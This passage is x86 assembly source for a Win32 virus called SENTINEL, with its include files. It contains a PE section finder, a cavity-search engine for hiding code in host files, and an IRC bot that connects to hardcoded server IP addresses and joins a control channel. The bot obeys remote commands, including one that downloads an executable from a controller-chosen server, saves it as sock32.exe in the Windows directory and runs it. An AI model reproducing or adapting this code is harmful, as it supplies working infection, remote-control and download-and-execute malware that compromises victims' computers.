movzx ecx, word ptr [esi + 06h] ; ecx = nr. of sections
movzx edi, word ptr [esi + 20d] ; optional header size
add esi, 24d ; file header size
add edi, esi
; edi points to first section header
FindCorrespondingSection:
push eax
mov edx, dword ptr [edi + 12d] ; section RVA
sub eax, edx
cmp eax, dword ptr [edi + 08d] ; section size
jb SectionFound
NotThisSection:
pop eax
add edi, 40d
loop FindCorrespondingSection
EndSectionSearch:
xor eax, eax
ret
SectionFound:
pop eax
mov edx, dword ptr [edi + 12d]
add edx, [ebp + imagebase]
mov ecx, dword ptr [edi + 08d]
ret
FIND_SECTION endp
GET_RANDOM_NUMBER proc
push eax ebx
lea eax, [ebp + AGetTickCount]
call GETAPI
lea ebx, [ebp + random_number] ; EBX = pointer to random_number
mul dword ptr [ebx] ; Multiply previous miliseconds with
sbb edx,eax ; Add low-order word of 32-bit random
cmc ; Complement carry flag
adc [ebx],edx ; Store 32-bit random number
pop ebx eax
ret
GET_RANDOM_NUMBER endp
GET_RANDOM_NUMBER_WITHIN proc
push ebx
call GET_RANDOM_NUMBER
xchg eax,ebx ; EBX = number in range
xor eax,eax ; Zero EAX
xchg eax,edx ; EDX = 32-bit random number
div ebx ; EAX = random number within range
pop ebx
xchg eax, edx
ret
GET_RANDOM_NUMBER_WITHIN endp
CAVITYSEARCH proc
;-----------------------------------------------------------------------------
; Cavity search engine by Benny and Darkman of 29A
;
; Calling parameters:
; ECX = size of search area
; ESI = pointer to search area
;
; Return parameters:
; ESI = pointer to cave
CSE:
pushad
mov ebp, 14d ; EBP = size of cave wanted
lodsb ; AL = byte within search area
reset_cavity_loop:
xchg eax,ebx ; BL = " " " "
xor edx,edx ; Zero EDX
dec ecx ; Decrease counter
cmp ecx,ebp ; Unsearched search area large enough?
jb no_cave_found ; Below? Jump to no_cave_found
find_cave_loop:
lodsb ; AL = byte within search area
cmp al,bl ; Current byte equal to previous byte?
jne reset_cavity_loop ; Not equal? Jump to reset_cavity_loop
inc edx ; Increase number of bytes found in
; cave
cmp edx,ebp ; Found a cave large enough?
jne find_cave_loop ; Not equal? Jump to find_cave_loop
sub esi,ebp ; ESI = pointer to cave
jmp exit_cave
no_cave_found:
xor esi, esi
exit_cave:
mov [esp + 4],esi
popad
ret
;-----------------------------------------------------------------------------
CAVITYSEARCH endp
names dd 30d
name1 db 'pion',0
name2 db 'sarge',0
name3 db 'blink',0
name4 db 'midge',0
name5 db 'xaero',0
name6 db 'void',0
name7 db 'vivid',0
name8 db 'xeon',0
name9 db 'n0bs',0
name10 db 'helios',0
name11 db 'phobos',0
name12 db 'flux',0
name13 db 'hypno',0
name14 db 'bond',0
name15 db 'chaos',0
name16 db 'blup',0
name17 db 'sntnl',0
name18 db 'fire',0
name19 db 'water',0
name20 db 'earth',0
name21 db 'heart',0
name22 db 'stone',0
name23 db 'light',0
name24 db 'love',0
name25 db 'silver',0
name26 db 'surfer',0
name27 db 'panic',0
name28 db 'm00dy',0
name29 db 'texas',0
name30 db 'snow',0
name31 db 'beta',0
servers dd 04d
server1 db "195.112.4.25",0
server2 db "195.159.135.99",0
server3 db "195.121.6.196",0
server4 db "154.11.89.164",0
server5 db "205.188.149.3",0
port1 dd 7000d
port2 dd 6660d
port3 dd 6660d
port4 dd 6661d
port5 dd 6667d
GET_ITEM_FROM_LIST proc
; IN: eax = total number of items
; esi = offset of first item
; OUT: esi = pntr to start of item
; ecx = size of item
; eax = random number
GetItemFromList:
push edi
push esi
call GET_RANDOM_NUMBER_WITHIN
mov ecx, eax
pop esi
push eax
or ecx, ecx
jz GetSizeOfItem
GetPositionOfItem:
push ecx
call GET_STRING_SIZE
add esi, ecx
inc esi
pop ecx
loop GetPositionOfItem
GetSizeOfItem:
call GET_STRING_SIZE
pop eax
pop edi
ret
GET_ITEM_FROM_LIST endp
IRC_LAUNCH proc
IRCLaunch:
cmp [ebp + ircstatus], 00h
je CreateIRCThread
ret
CreateIRCThread:
lea eax, [ebp + ircthreadid]
push eax
push 00h
push 01h
lea eax, [ebp + IRC_THREAD]
push eax
push 00h
push 00h
lea eax, [ebp + ACreateThread]
call GETAPI
mov [ebp + ircstatus], 01h
ret
IRC_LAUNCH endp
IRC_THREAD proc handle: dword
IrcThreadEntryPoint:
pushad
call GetIrcDelta
GetIrcDelta:
pop ebp
sub ebp, offset GetIrcDelta
GetWSock32Base:
call FIND_GETPROCADDRESS_API_ADDRESS
call FIND_WSOCK32_BASE_ADDRESS
LoadWinInetDll:
lea eax, [ebp + wininet]
push eax
lea eax, [ebp + ALoadLibrary]
call GETAPI
or eax, eax
jz UserIsOffline
FindConnectionApiAddress:
lea ebx, [ebp + AInternetGetConnectedState]
push ebx
push eax
call [ebp + AGetProcAddressA]
or eax, eax
jz UserIsOffline
CheckConnection:
push 00h
lea ebx, [ebp + buffer]
push ebx
call eax
or eax, eax
jnz UserIsOnline
UserIsOffline:
push 10000h
lea eax, [ebp + ASleep]
call GETAPI
jmp LoadWinInetDll
UserIsOnline:
lea eax, [ebp + mywsadata]
push eax
push 101h
lea eax, [ebp + AWSAStartup]
call GETWAPI
OpenSocket:
push 00h
push SOCK_STREAM
push AF_INET
lea eax, [ebp + Asocket]
call GETWAPI
mov [ebp + socketh], eax
GetSocketValues:
mov [ebp + mysocket.sin_family], AF_INET
mov eax, [ebp + servers]
lea esi, [ebp + server1]
call GET_ITEM_FROM_LIST
push esi
push ecx
GetPort:
lea esi, [ebp + port1]
mov ecx, 04
mul ecx
add esi, eax
mov edx, dword ptr [esi]
push edx
lea eax, [ebp + Ahtons]
call GETWAPI
mov [ebp + mysocket.sin_port], ax
pop ecx
lea eax, [ebp + Ainet_addr]
call GETWAPI
mov [ebp + mysocket.sin_addr], eax
Connect:
push 10h
lea eax, [ebp + mysocket]
push eax
push [ebp + socketh]
lea eax, [ebp + Aconnect]
call GETWAPI
test eax, eax
jnz Connect
LogonToIrcServer:
call LOGON
DoTheLoop:
call IRC_RECEIVE
or eax, eax
jz CloseSocket
jmp DoTheLoop
CloseSocket:
push [ebp + socketh]
lea eax, [ebp + Aclosesocket]
call GETWAPI
WSACleanUp:
lea eax, [ebp + AWSACleanup]
call GETWAPI
ExitThread:
popad
ret
IRC_THREAD endp
LOGON proc near
call IRC_RECEIVE
SendNick:
lea edi, [ebp + offset buffer]
lea esi, [ebp + offset nick]
mov ecx, 05h
rep movsb
lea esi, [ebp + name1]
mov eax, [ebp + names]
call GET_ITEM_FROM_LIST
rep movsb
mov ebx, 10d
call GET_RANDOM_NUMBER_WITHIN
add eax, 48d
mov byte ptr [edi], al
inc edi
mov ebx, 10d
call GET_RANDOM_NUMBER_WITHIN
add eax, 48d
mov byte ptr [edi], al
inc edi
lea esi, [ebp + crlf]
mov ecx, 03h
rep movsb
lea esi, [ebp + buffer]
call GET_STRING_SIZE
call IRC_SEND
call IRC_RECEIVE
SendUser:
lea edi, [ebp + buffer]
lea esi, [ebp + user1]
mov ecx, 05d
rep movsb
call CREATE_RANDOM_NAME
lea esi, [ebp + user2]
mov ecx, 18d
rep movsb
lea esi, [ebp + buffer]
call GET_STRING_SIZE
call IRC_SEND
call IRC_RECEIVE
call IRC_RECEIVE
SendJoin:
lea esi, [ebp + join]
mov ecx, 13d
call IRC_SEND
PostVersionMessage:
call .PostVersion
LogonDone:
ret
LOGON endp
IRC_RECEIVE proc
push 00h
push 400h
lea eax, [ebp + buffer]
push eax
push [ebp + socketh]
lea eax, [ebp + ARecv]
call GETWAPI
mov [ebp + nrbytes], eax
call IRC_SCANBUFFER
ret
IRC_RECEIVE endp
IRC_SEND proc
; esi = snd buffer
; ecx = size to send
push 00h
push ecx
push esi
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
ret
IRC_SEND endp
.PostVersion:
lea edi, [ebp + buffer]
lea esi, [ebp + post]
mov ecx, 16d
rep movsb
lea esi, [ebp + post_vers]
mov ecx, 5d
rep movsb
lea esi, [ebp + version]
mov ecx, 4d
rep movsb
lea esi, [ebp + crlf]
mov ecx, 03d
rep movsb
lea esi, [ebp + buffer]
call GET_STRING_SIZE
call IRC_SEND
ret
.RespondPing:
lea edi, [ebp + buffer]
lea esi, [ebp + pong]
mov ecx, 04h
rep movsb
mov ecx, [ebp + nrbytes]
lea esi, [ebp + buffer]
call IRC_SEND
.RespondPing_End:
ret
IRC_SCANBUFFER proc
; IN esi: buffer start
; ecx: buffer size
ScanDaBuffer:
mov ecx, [ebp + nrbytes]
lea esi, [ebp + buffer]
.PingPongMessage:
cmp dword ptr [esi], 'GNIP'
jne GetReplyNick
call .RespondPing
jmp EndLoop
GetReplyNick:
jecxz EndLoop
inc esi
dec ecx
cmp byte ptr [esi], '!'
je ExtractReplyNick
cmp byte ptr [esi], ':'
je EndLoop
jmp GetReplyNick
ExtractReplyNick:
push esi
push ecx
mov ecx, esi
lea esi, [ebp + buffer]
sub ecx, esi
dec ecx
inc esi
lea edi, [ebp + replynick]
rep movsb
mov byte ptr [edi], 00h
pop ecx
pop esi
ScanLoop:
jecxz EndLoop
cmp dword ptr [esi], 'VIRP'
je SearchTextStart
inc esi
dec ecx
jmp ScanLoop
SearchTextStart:
jecxz EndLoop
cmp byte ptr [esi], ':'
je .CommandMessage
inc esi
dec ecx
jmp SearchTextStart
.CommandMessage:
inc esi
dec ecx
cmp dword ptr [esi], 's54p'
jne EndLoop
GetText:
add esi, 5
sub ecx, 5
cmp byte ptr [esi], '/'
jne EndLoop
CheckIncomingCommandMessage:
inc esi
dec ecx
cmp dword ptr [esi], 'kc1n'
je CreateRandomNick
cmp dword ptr [esi], 't1uq'
je QuitIrc
cmp dword ptr [esi], 'c3xe'
je LaunchInstaller
cmp dword ptr [esi], 't4ts'
je InstallerStatus
call IRC_SEND
jmp EndLoop
CreateRandomNick:
lea edi, [ebp + mynick]
call CREATE_RANDOM_NAME
mov byte ptr [edi], 00h
lea edi, [ebp + buffer]
mov dword ptr [edi], 'KCIN'
add edi, 04h
mov byte ptr [edi], ' '
inc edi
lea esi, [ebp + mynick]
call GET_STRING_SIZE
rep movsb
lea esi, [ebp + crlf]
mov ecx, 03h
rep movsb
lea esi, [ebp + buffer]
call GET_STRING_SIZE
call IRC_SEND
jmp EndLoop
QuitIrc:
lea esi, [ebp + quit]
mov ecx, 06h
call IRC_SEND
xor eax, eax
jmp EndLoop
LaunchInstaller:
call INSTALLER_LAUNCH
jmp EndLoop
InstallerStatus:
call INSTALLER_STATUS
EndLoop:
ret
IRC_SCANBUFFER endp
version db "0101",0
post db "PRIVMSG #sntnl :",0
post_vers db "vers ",0
mynick db 5h dup(0)
replynick db 5h dup(0)
nrbytes dd 0
ircstatus dd 0
ircthreadid dd 0
wsock32 db "WSOCK32.dll",0
wininet db "WININET.dll",0
ASend db "send",0
ARecv db "recv",0
AWSAGetLastError db "WSAGetLastError",0
AWSAGetLastErrorA dd 0
AInternetGetConnectedState db "InternetGetConnectedState",0
ACreateThread db "CreateThread",0
AWSAStartup db "WSAStartup",0
AWSACleanup db "WSACleanup",0
Asocket db "socket",0
Aconnect db "connect",0
Aclosesocket db "closesocket",0
Ahtons db "htons",0
Ainet_addr db "inet_addr",0
AGetTickCount db "GetTickCount",0
AGetLastError db "GetLastError",0
ASleep db "Sleep",0
random_number dd 01234567h
ipaddress db "212.43.217.183",0
; if the bot does not appear online in #sentinel, try using a different
; server ip-address.
user1 db "USER ",0
user2 db " bb cc sentinel",0dh,0ah
nick db "NICK ",0
pong db "PONG",0
join db "JOIN #sntnl",0dh,0ah
quit db "QUIT",0dh,0ah
crlf db 0dh, 0ah,0
dots db ' :',0
socketh dd 0
buffer db 400h dup(0)
mywsadata WSADATA <>
mysocket SOCKADDR <>
CREATE_RANDOM_NAME proc
; IN: edi = place to put 5 rnd chars
call GetRandomChar
call GetRandomChar
call GetRandomChar
call GetRandomChar
call GetRandomChar
ret
GetRandomChar:
mov eax, 26d
call GET_RANDOM_NUMBER_WITHIN
add eax, 97d
mov byte ptr [edi], al
inc edi
ret
CREATE_RANDOM_NAME endp
GET_STRING_SIZE proc
GetStringSize:
xor ecx, ecx
SearchEndOfString:
cmp byte ptr [esi + ecx], 0h
je StringSizeFound
inc ecx
jmp SearchEndOfString
StringSizeFound:
ret
GET_STRING_SIZE endp
INSTALLER_LAUNCH proc
LaunchTheInstaller:
add esi, 05h
sub ecx, 05h
GetServerValue:
cmp byte ptr [esi], '['
jne ExitInstallerLaunch
inc esi
FoundServerValueStart:
mov edi, esi
xor edx, edx
GetServerLoop:
cmp byte ptr [esi], ']'
je StoreServerValue
inc esi
inc edx
dec ecx
cmp ecx, 00h
je ExitInstallerLaunch
jmp GetServerLoop
StoreServerValue:
mov esi, edi
push ecx
lea edi, [ebp + installer_server]
mov ecx, edx
rep movsb
pop ecx
GetGetCommand:
cmp byte ptr [esi], '['
je FilterGetCommand
inc esi
dec ecx
cmp ecx, 00h
je ExitInstallerLaunch
jmp GetGetCommand
FilterGetCommand:
inc esi
mov edi, esi
xor edx, edx
GetCommandLoop:
cmp byte ptr [esi], ']'
je SaveGetCommand
inc esi
inc edx
dec ecx
cmp ecx, 00h
je ExitInstallerLaunch
jmp GetCommandLoop
SaveGetCommand:
mov [ebp + installer_getsize], edx
mov esi, edi
mov ecx, edx
lea edi, [ebp + installer_get]
rep movsb
InstallerGo:
mov [ebp + installer_launchstatus], 00h
lea eax, [ebp + installerthreadid]
push eax
push 00h
push 1234567h
lea eax, [ebp + INSTALLER_THREAD]
push eax
push 10000h
push 00h
lea eax, [ebp + ACreateThread]
call GETAPI
ExitInstallerLaunch:
ret
INSTALLER_LAUNCH endp
INSTALLER_RECEIVE proc
SaveStack:
pushad
ReceiveData:
push edi
mov eax, [ebp + nrbytes2]
mov esi, dword ptr [ebp + dmHnd]
add esi, eax
push 00h
push edi
push esi
push [ebp + isocketh]
lea eax, [ebp + ARecv]
call GETWAPI
add [ebp + nrbytes2], eax
pop edi
mov ecx, eax
inc ecx
jnz InstallerProceed
call [ebp + AWSAGetLastErrorA]
cmp eax,2733h
je ReceiveData
InstallerProceed:
popad
ret
INSTALLER_RECEIVE endp
INSTALLER_STATUS proc
CheckInstallerStatus:
cmp [ebp + installer_launchstatus], 00h
je StatusWaiting
cmp [ebp + installer_launchstatus], 01h
je StatusInstalling
cmp [ebp + installer_launchstatus], 02h
je StatusDone
cmp [ebp + installer_launchstatus], 03h
je StatusConnectionError
cmp [ebp + installer_launchstatus], 04h
je StatusSizeError
jmp ExitInstallerStatus
StatusWaiting:
push 00h
push 28d
lea eax, [ebp + installer_stat00]
push eax
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
jmp ExitInstallerStatus
StatusInstalling:
push 00h
push 31d
lea eax, [ebp + installer_stat01]
push eax
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
jmp ExitInstallerStatus
StatusDone:
push 00h
push 25d
lea eax, [ebp + installer_stat02]
push eax
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
jmp ExitInstallerStatus
StatusConnectionError:
push 00h
push 38d
lea eax, [ebp + installer_stat03]
push eax
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
jmp ExitInstallerStatus
StatusSizeError:
push 00h
push 31d
lea eax, [ebp + installer_stat04]
push eax
push [ebp + socketh]
lea eax, [ebp + ASend]
call GETWAPI
ExitInstallerStatus:
ret
INSTALLER_STATUS endp
INSTALLER_THREAD proc handle: dword
GetInstallerDelta:
pushad
call InstallerDelta
InstallerDelta:
pop ebp
sub ebp, offset InstallerDelta
AllocateExeMem:
push 1000000h
push GMEM_FIXED
lea eax, [ebp + AGlobalAlloc]
call GETAPI
mov [ebp + dmHnd], eax
or eax, eax
jz ExitInstaller
InstallerWsaStartup:
lea eax, [ebp + mywsadata]
push eax
push 101h
lea eax, [ebp + AWSAStartup]
call GETWAPI
InstallerOpenSocket:
push 00h
push 01h
push 02h
lea eax, [ebp + Asocket]
call GETWAPI
mov [ebp + isocketh], eax
InstallerGetSocketValues:
mov [ebp + mysocket2.sin_family], 02h
push 80
lea eax, [ebp + Ahtons]
call GETWAPI
mov [ebp + mysocket2.sin_port], ax
lea eax, [ebp + installer_server]
push eax
lea eax, [ebp + Ainet_addr]
call GETWAPI
mov [ebp + mysocket2.sin_addr], eax
xor ecx, ecx
InstallerConnect:
cmp ecx, 03h
je InstallerConnectionError
push ecx
push 10h
lea eax, [ebp + mysocket2]
push eax
push [ebp + isocketh]
lea eax, [ebp + Aconnect]
call GETWAPI
pop ecx
or eax, eax
jz InstallerSendGetCommand
inc ecx
jmp InstallerConnect
InstallerConnectionError:
mov [ebp + installer_launchstatus], 03h
jmp ExitInstaller
InstallerSendGetCommand:
push 00h
push [ebp + installer_getsize]
lea eax, [ebp + installer_get]
push eax
push [ebp + isocketh]
lea eax, [ebp + ASend]
call GETWAPI
push 00h
push 02h
lea eax, [ebp + crlf]
push eax
push [ebp + isocketh]
lea eax, [ebp + ASend]
call GETWAPI
push 00h
push 02h
lea eax, [ebp + crlf]
push eax
push [ebp + isocketh]
lea eax, [ebp + ASend]
call GETWAPI
mov [ebp + installer_launchstatus], 01h
mov [ebp + nrbytes2], 00h
mov ecx, 1000000h
ReceiveLoop:
cmp ecx, 400h
jna LastPart
sub ecx, 400h
mov edi, 400h
call INSTALLER_RECEIVE
jmp ReceiveLoop
LastPart:
mov edi, ecx
call INSTALLER_RECEIVE
SearchMz:
xor ecx, ecx
mov edi, dword ptr [ebp + dmHnd]
MzLoop:
cmp word ptr [edi], 'ZM'
je FoundExeMark
inc edi
inc ecx
cmp ecx, 200h
ja SearchZm
jmp MzLoop
SearchZm:
xor ecx, ecx
mov edi, dword ptr [ebp + dmHnd]
ZmLoop:
cmp word ptr [edi], 'MZ'
je FoundExeMark
inc edi
inc ecx
cmp ecx, 200h
ja InstallerCloseSocket
jmp ZmLoop
FoundExeMark:
mov [ebp + skip], ecx
ZeroWindirString:
mov ecx, 100h
xor eax, eax
lea edi, [ebp + windir]
rep stosb
InstallerGetSetWindowsDirectory:
call GET_WINDIR
call SET_WINDIR
push 00h
push 20h
push 02h
push 00h
push 01h
push 80000000h or 40000000h
lea eax, [ebp + commandline]
push eax
lea eax, [ebp + ACreateFile]
call GETAPI
mov [ebp + ifilehandle], eax
push 02h
push 00h
push 00h
push eax
lea eax, [ebp + ASetFilePointer]
call GETAPI
mov edi, dword ptr [ebp + dmHnd]
add edi, [ebp + skip]
mov ebx, [ebp + nrbytes2]
sub ebx, [ebp + skip]
push 00h
lea edx, [ebp + bytesread]
push edx
push ebx
push edi
push [ebp + ifilehandle]
lea eax, [ebp + AWriteFile]
call GETAPI
InstallerGetRealSize:
lea ebx, [ebp + irealsize]
push ebx
push [ebp + ifilehandle]
lea eax, [ebp + AGetFileSize]
call GETAPI
mov [ebp + irealsize], eax
InstallerCloseFile:
push [ebp + ifilehandle]
lea eax, [ebp + ACloseHandle]
call GETAPI
GetFileSize:
mov edi, dword ptr [ebp + dmHnd]
xor ecx, ecx
InstallerFileSizeLoop:
cmp dword ptr [edi], ':htg'
je InstallerFoundSize
inc ecx
inc edi
cmp ecx, 200h
je InstallerCloseSocket
jmp InstallerFileSizeLoop
InstallerFoundSize:
xor ecx, ecx
add edi, 05h
mov [ebp + sizestart], edi
ExtractFileSizeLoop:
cmp word ptr [edi], 0a0dh
je FoundEndOfSizeString
inc edi
inc ecx
cmp ecx, 10h
je InstallerCloseSocket
jmp ExtractFileSizeLoop
FoundEndOfSizeString:
cld
mov [ebp + sizesize], ecx
mov [ebp + ifilesize], 00h
mov ebx, 01h
mov esi, [ebp + sizestart]
add esi, ecx
sub esi, 01h
Convert2Int:
xor eax, eax
lodsb
sub eax,'0'
mul ebx
add [ebp + ifilesize], eax
add edx, eax
dec esi
dec esi
dec ecx
cmp ecx, 00h
je InstallerCheckFileSize
push ecx
push esi
mov ecx, 10d
mov eax, ebx
mul ecx
mov ebx, eax
pop esi
pop ecx
jmp Convert2Int
InstallerCheckFileSize:
mov esi, [ebp + ifilesize]
mov edi, [ebp + irealsize]
cmp esi, edi
je ExecuteFile
mov [ebp + installer_launchstatus], 04h
jmp InstallerCloseSocket
ExecuteFile:
lea eax, [ebp + lpProcessInformation]
push eax
lea eax, [ebp + lpStartupInfo]
push eax
push 00h
push 00h
push CREATE_DEFAULT_ERROR_MODE
push FALSE
lea eax, [ebp + lpThreadAttributes]
push eax
lea eax, [ebp + lpProcessAttributes]
push eax
lea eax, [ebp + commandline]
push eax
push 00h
lea eax, [ebp + ACreateProcess]
call GETAPI
mov [ebp + installer_launchstatus], 02h
InstallerCloseSocket:
push [ebp + isocketh]
lea eax, [ebp + Aclosesocket]
call GETWAPI
lea eax, [ebp + AWSACleanup]
call GETWAPI
ExitInstaller:
popad
ret
INSTALLER_THREAD endp
FALSE = 0
TRUE = 1
lpProcessInformation PROCESS_INFORMATION <>
lpStartupInfo STARTUPINFO <>
lpThreadAttributes SECURITY_ATTRIBUTES <>
lpProcessAttributes SECURITY_ATTRIBUTES <>
mysocket2 SOCKADDR <>
AWriteFile db "WriteFile",0
ACreateProcess db "CreateProcessA",0
AGlobalAlloc db "GlobalAlloc",0
commandline db "sock32.exe",0
windir db 100h dup(0)
skip dd 0
sizestart dd 0
sizesize dd 0
bytesread dd 0
nrbytes2 dd 0
dmHnd dd 0
ifilehandle dd 0
ifilesize dd 0
irealsize dd 0
isocketh dd 0
installerthreadid dd 0
installer_server db 20h dup(0)
installer_get db 100h dup(0)
installer_serversize dd 0
installer_getsize dd 0
installer_launchstatus dd 0
installer_stat00 db "PRIVMSG #sntnl :Waiting...",0dh,0ah
installer_stat01 db "PRIVMSG #sntnl :Installing...",0dh,0ah
installer_stat02 db "PRIVMSG #sntnl :Done...",0dh,0ah
installer_stat03 db "PRIVMSG #sntnl :Unable to connect...",0dh,0ah
installer_stat04 db "PRIVMSG #sntnl :Size error...",0dh,0ah
GET_WINDIR proc
GetWindowsDir:
push 128h ; size of dirstring
lea eax, [ebp + windir] ; save it here
push eax
lea eax, [ebp + AGetWindowsDirectory] ; get windowsdir
call GETAPI
ret
GET_WINDIR endp
SET_WINDIR proc
SetWindowsDir:
lea eax, [ebp + windir] ; change to sysdir
push eax
lea eax, [ebp + ASetCurrentDirectory]
call GETAPI
ret
SET_WINDIR endp
;========================================================================;
Leap:
.code
OriginalHost:
pop ebx
push 00h
call ExitProcess
end FirstCopy
end
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SENTINEL.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ
GMEM_FIXED = 0000h
LPVOID typedef DWORD ;long ptr to buffer
BOOL typedef DWORD ;boolean variable
HANDLE typedef DWORD ;unspecified handle
LPSTR typedef DWORD ;long ptr to string
LPBYTE typedef DWORD ;long ptr to byte
ACHAR typedef BYTE ;ansi character
CHAR textequ <ACHAR> ;ansi char type
CHAR_ equ 1 ;ansi char size
CREATE_DEFAULT_ERROR_MODE equ 04000000h
SECURITY_ATTRIBUTES_ equ 4+4+4
SECURITY_ATTRIBUTES struct
sa_nLength DWORD SECURITY_ATTRIBUTES_ ;structure size
sa_lpSecurityDescriptor LPVOID 0 ;security descriptor
sa_bInheritHandle BOOL 0 ;handle inheritance flag
SECURITY_ATTRIBUTES ends
PROCESS_INFORMATION struct
pi_hProcess HANDLE 0 ;process handle
pi_hThread HANDLE 0 ;thread handle
pi_dwProcessId DWORD 0 ;process id
pi_dwThreadId DWORD 0 ;thread id
PROCESS_INFORMATION ends
PROCESS_INFORMATION_ equ 4+4+4+4
STARTUPINFO struct
si_cb DWORD 0 ;structure size
si_lpReserved LPSTR 0 ;(reserved)
si_lpDesktop LPSTR 0 ;desktop name
sl_lpTitle LPSTR 0 ;console window title
si_dwX DWORD 0 ;window origin (column)
si_dwY DWORD 0 ;window origin (row)
si_dwXSize DWORD 0 ;window width
si_dwYSize DWORD 0 ;window height
si_dwXCountChars DWORD 0 ;screen buffer width
si_dwYCountChars DWORD 0 ;screen buffer height
si_dwFillAttribute DWORD 0 ;console window initialization
si_dwFlags DWORD 0 ;structure member flags
si_wShowWindow WORD 0 ;ShowWindow() parameter
si_cbReserved2 WORD 0 ;(reserved)
si_lpReserved2 LPBYTE 0 ;(reserved)
si_hStdInput HANDLE 0 ;standard input handle
si_hStdOutput HANDLE 0 ;standard output handle
si_hStdError HANDLE 0 ;standard error handle
STARTUPINFO ends
STARTUPINFO_ equ 4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4
WIN32_FIND_DATA_ equ 4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)
WIN32_FIND_DATA struct
fd_dwFileAttributes DWORD 0 ;file attributes
fd_ftCreationTime DWORD 0, 0 ;time of file creation
fd_ftLastAccessTime DWORD 0, 0 ;time of last file access
fd_ftLastWriteTime DWORD 0, 0 ;time of last write access
fd_nFileSizeHigh DWORD 0 ;high-order word of file size
fd_nFileSizeLow DWORD 0 ;low-order word of file size
fd_dwReserved0 DWORD 0 ;(reserved)
fd_dwReserved1 DWORD 0 ;(reserved)
fd_cFileName CHAR 260 dup(0) ;matching file name
fd_cAlternateFileName CHAR 14 dup(0) ;8.3 alias name
WIN32_FIND_DATA ends
;
SEH struct
m_pSEH DWORD 0
m_pExcFunction DWORD 0
SEH ends
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ
;
; WSocks.inc: include file for windows sockets .
; Designed for TASM5 and Win32.
;
; (C) 1999 Bumblebee.
;
; This file contains basic structures and stuff to work
; with windows sockets.
;
; Descriptions of the API:
; arguments in order of PUSH ;)
; only for debug
extrn WSAGetLastError:PROC
; starts the use of winsock dll
; addr WSADATA, version requested
; returns: 0 ok
extrn WSAStartup:PROC
; terminates the use of winsock dll
; returns: SOCK_ERR on error
extrn WSACleanup:PROC
; opens a new socket
; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??)
; returns: socket id or SOCKET_ERR (socket is dw)
extrn socket:PROC
; closes a socket
; socket descriptor
;
extrn closesocket:PROC
; sends data (this socks are a shit... Unix uses simple write)
; flags (1 OOB data or 0 normal ) , length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn send:PROC
; reveives data (this socks are a shit... Unix uses simple read)
; flags (use 0), length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn recv:PROC
; connects to a server
; sizeof struct SOCKADDR, struct SOCKADDR, socket
; returns: SOCKET_ERR on error
extrn connect:PROC
; gets the name of the current host
; length of the buffer for name, addr of buffer for name
; return: SOCKET_ERR on error
extrn gethostname:PROC
; gets strcut hostent
; addr of name
; returns: ponter to the struct or 0 on error
extrn gethostbyname:PROC
; converts a zstring like "xxx.xxx.xx...." to netw byte order
; zstring ptr to change to dotted addr format
; returns: in_addr (dd)
extrn inet_addr:PROC
; dw to convert into netw byte order (usually the port)
; returns: the value in network byte order (dw)
extrn htons:PROC
; Structs :o
; sockaddr struct for connection
; modified (for better use)
; if you want the original look for it into a winsock.h
SOCKADDR struct
sin_family dw 0 ; ex. AF_INET
sin_port dw 0 ; use htons for this
sin_addr dd 0 ; here goes server node (from inet_addr)
sin_zero db 8 dup(0)
SOCKADDR ends
; for WSAStartup diagnose
WSADATA struct
mVersion dw 0
mHighVersion dw 0
szDescription db 257 dup(0)
szSystemStatus db 129 dup(0)
iMaxSockets dw 0
iMaxUpdDg dw 0
lpVendorInfo dd 0
WSADATA ends
; Some nice equs
; what version of winsock do you need? (usually 1.1)
VERSION1_0 equ 0100h
VERSION1_1 equ 0101h
VERSION2_0 equ 0200h
AF_UNIX equ 1 ; local host
AF_INET equ 2 ; internet (most used)
AF_IMPLINK equ 3 ; arpanet
AF_NETBIOS equ 17 ; NetBios style addresses
; types of sockets
SOCK_STREAM equ 1 ; stream (connection oriented; telnet like)
SOCK_DGRAM equ 2 ; datagram (packets, packets, packets)
; protocol
PCL_NONE equ 0 ; none (define the protocol not needed)
SOCKET_ERR equ -1 ; standard winsock error
HOSTENT_IP equ 10h ; where is the IP into the hostent struct
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ